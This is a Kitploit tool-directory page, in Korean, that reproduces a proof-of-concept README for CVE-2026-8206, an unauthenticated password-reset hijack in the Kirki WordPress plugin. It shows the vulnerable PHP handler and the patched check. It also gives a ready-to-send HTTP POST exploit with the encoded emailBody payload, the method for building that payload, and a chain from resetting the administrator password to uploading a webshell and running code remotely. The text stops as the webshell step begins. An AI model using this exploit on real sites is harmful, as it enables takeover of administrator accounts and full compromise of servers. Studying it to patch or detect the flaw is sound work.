Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-8206 — CVE-2026-8206: Kirki Customizer Framework - 비인증 계정 탈취 (CVSS 9.8) | Kitploit
도구/GitHubGitHub/dungsocool/cve-2026-8206
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationPapers & ResearchLearning & EducationPayload Development
GitHubdungsocool/cve-2026-8206

CVE-2026-8206

CVE-2026-8206: Kirki Customizer Framework - 비인증 계정 탈취 (CVSS 9.8)

1172개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

CVE-2026-8206

취약점: 인증되지 않은 계정 탈취 — Kirki Customizer Framework의 비밀번호 재설정 이메일 하이재킹

CVSS v3.1 9.8 / 10.0 치명적(Critical)

벡터: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


1. 개요

CVE-2026-8206은 90,000개 이상의 활성 설치를 보유한 인기 WordPress 페이지 빌더 플러그인인 Kirki Customizer Framework에서 발견된 인증되지 않은 계정 탈취(Unauthenticated Account Takeover) 취약점입니다. 이 취약점을 통해 공격자는 단 한 번의 HTTP 요청만으로 모든 WordPress 계정(관리자 포함)을 탈취할 수 있습니다.

이 버그는 ComponentLibrary 모듈의 REST API 엔드포인트 kirki-forgot-password에 존재합니다. 이 엔드포인트는 모든 사용자에 대한 비밀번호 재설정을 요청할 수 있게 하며, 사용자의 등록된 이메일 대신 공격자가 지정한 이메일 주소로 재설정 링크를 전송합니다.

정보세부 사항
플러그인Kirki Customizer Framework (WordPress 페이지 빌더)
영향을 받는 버전6.0.0 – 6.0.6
패치된 버전6.0.7 (또는 6.0.12 이상)
취약점 유형비밀번호 재설정 이메일 하이재킹을 통한 인증되지 않은 계정 탈취
엔드포인트/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password (또는 /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password)
CVSS9.8 치명적(Critical)

악용 전제 조건:

  • Kirki Customizer Framework 6.0.0–6.0.6이 활성화되어 있어야 함
  • REST API가 공개 상태여야 함 (WordPress 기본값)
  • ComponentLibrary 모듈이 활성화되어 있어야 함 (플러그인 활성화 시 기본값)
  • 계정이나 세션이 필요 없음

→ Kirki 6.0.0–6.0.6이 설치된 모든 WordPress 사이트는 기본적으로 취약합니다.

2. 용어

ComponentLibrary REST 엔드포인트

Kirki는 로그인, 회원가입, 비밀번호 찾기, 비밀번호 변경을 포함한 Component Library 기능을 위한 REST API 엔드포인트를 등록합니다. 이 모든 엔드포인트는 게스트 접근을 허용합니다(guest_permissions_check가 true를 반환).

Nonce 검증

WordPress nonce는 CSRF 보호 토큰입니다. Kirki는 X-WP-Element-Nonce 헤더를 통해 nonce를 요구하거나 요청 내 nonce 파라미터를 확인합니다. 그러나 nonce는 클라이언트 측에서 공개적으로 생성/추출될 수 있습니다.

비밀번호 재설정 키

WordPress는 get_password_reset_key()를 사용하여 비밀번호 재설정 토큰을 생성합니다. Kirki는 이 토큰을 전송 전에 이메일 템플릿에 포함시킵니다.

3. 근본 원인 — 비밀번호 재설정 이메일 하이재킹

파일: ComponentLibrary/controller/CompLibFormHandler.php

버그 1: 이메일-사용자 검증 누락

취약한 버전(6.0.0–6.0.6)에서 handle_forgot_password() 함수는 제공된 이메일이 사용자의 등록된 이메일과 일치하는지 확인하지 않습니다. 공격자는 피해자의 사용자 이름과 자신의 이메일을 지정할 수 있으며, 재설정 링크는 공격자의 이메일로 전송됩니다.

취약한 소스 코드:

public function handle_forgot_password( $request ) {
    $form_data = $request->get_body_params();
    $this->validate_nonce( 'kirki-forgot-password' );

    $email    = $form_data['email'];     // <-- ATTACKER CONTROLLED
    $username = $form_data['username'];

    $user = get_user_by( 'login', $username );
    //BUG: Does NOT check $email === $user->user_email
    //      Attacker's email is used directly

    $key = get_password_reset_key( $user );
    $reset_link = "$url?action=rp&key=$key&login=$username";

    // SENDS RESET LINK TO ATTACKER'S EMAIL
    wp_mail( $email, $subject, $body_with_reset_link );
    //       ^^^^^
    //  ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}

버그 2: 이메일 템플릿 HMAC 서명 누락

이메일 제목과 본문은 무결성 검증을 위한 HMAC 서명 없이 emailSubject 및 emailBody 파라미터를 통해 클라이언트로부터 수신됩니다. 공격자는 전송되는 이메일의 내용을 임의로 수정할 수 있습니다.

// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject'];   // Client-controlled
$email_body    = $form_data['emailBody'];       // Client-controlled
// No verify_email_template_signature()

// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}

4. 이 취약점이 위험한 이유

요인설명
인증 불필요guest_permissions_check()가 true를 반환 — 누구나 엔드포인트를 호출할 수 있음
모든 계정 탈취 가능사용자 이름만 있으면 됨 (기본값: 'admin') — 이메일/비밀번호 불필요
영향: 관리자 탈취관리자 탈취 → 웹셸 업로드 → RCE → 서버 완전 장악
광범위한 영향Kirki는 많은 WordPress 테마에 통합되어 널리 사용되는 플러그인

5. 공격 체인 분석

CVE-2026-8206 악용은 제로 액세스(계정 없음, 비밀번호 없음, 세션 없음) 상태에서 시작하여 HTTP 요청만으로 완전한 관리자 탈취까지 이어집니다.

Phase 1: Extract Nonce       → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email  → Send reset link to attacker's email
Phase 3: Reset Password      → Change admin password using the obtained reset key
Phase 4: Login Admin         → Log in with the new password
Phase 5: Webshell Upload     → Install backdoor via plugin upload
Phase 6: RCE                 → Execute arbitrary commands on the server

5.0 페이로드 구성 방법론

1단계: 소스 코드 읽기 (가장 정확한 방법)

wordpress.org에서 플러그인을 다운로드하고 CompLibFormHandler.php 파일을 직접 엽니다:

// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
                 ? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
              ? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
    if ( $body_data['type'] === 'text' ) {
        $email_body = $email_body . $body_data['value'];
    } elseif ( $body_data['type'] === 'chip' ) {
        $email_body = $email_body . $chip_data[ $body_data['value'] ];
        //                                     ^^^^^^^^^^^^^^^^^^^
        //                $chip_data['reset_link'] = actual reset URL!
    }
}

→ 코드를 읽어 보면 emailBody는 JSON 배열이어야 하며, 각 항목은 type과 value를 가집니다. type = chip이고 value = reset_link이면 Kirki가 자동으로 이메일에 재설정 링크를 삽입합니다.

2단계: 플러그인의 JavaScript 번들에서 Grep 검색

플러그인 디렉터리 내에서 직접 Grep합니다:

grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/

컴파일된 프론트엔드 코드에서 필요한 정확한 JSON 구조를 확인할 수 있습니다.

페이로드 발견 과정 요약:

Find endpoint (/wp-json/ or rest_route)
       ↓
Read PHP source → find $form_data['emailBody']
       ↓
Understand JSON array format (type / value)
       ↓
Read chip_data array → find key "reset_link"
       ↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
       ↓
Test → success

5.1 1단계: 비밀번호 재설정 이메일 하이재킹

공격자는 피해자의 사용자 이름(admin)과 공격자가 통제하는 이메일 주소([email protected])를 사용하여 forgot-password 엔드포인트에 POST 요청을 전송합니다. 서버는 피해자를 위한 재설정 키를 생성하지만 재설정 링크는 [email protected]으로 전송합니다.

요청 전송:

POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded

username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D

재설정 이메일을 전송하는 인터셉터 요청

응답 (성공):

이메일 전송을 확인하는 응답

공격자의 사서함에서 수신된 이메일 (http://localhost:8025의 MailHog):

Subject: Password Reset

Click the link below to reset your password:
http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin

재설정 키를 수신한 MailHog 받은 편지함

5.2 2단계: 비밀번호 재설정 및 관리자 로그인

공격자는 이메일에서 획득한 key 토큰을 사용하여 kirki-change-password 엔드포인트 또는 WordPress의 기본 폼을 통해 관리자 계정의 비밀번호를 변경한 후 로그인하여 웹사이트에 대한 완전한 관리 권한을 획득합니다.

비밀번호 재설정 폼

admin 계정을 사용하여 비밀번호가 변경되고 접속되었습니다.

관리자 대시보드 로그인 성공

admin 계정 접속 성공.

5.3 3단계: 웹셸 업로드 및 RCE

관리자 대시보드 접근 권한을 획득한 후, 공격자는 WordPress의 기본 플러그인 업로드 기능을 통해 **계정 탈취(Account Takeover)**에서 **원격 코드 실행(RCE)**으로 권한을 승격시킵니다.

1단계: 웹셸이 포함된 플러그인 생성

공격자는 정상적인 WordPress 플러그인으로 위장한 PHP 웹셸을 생성합니다:

도구 다운로드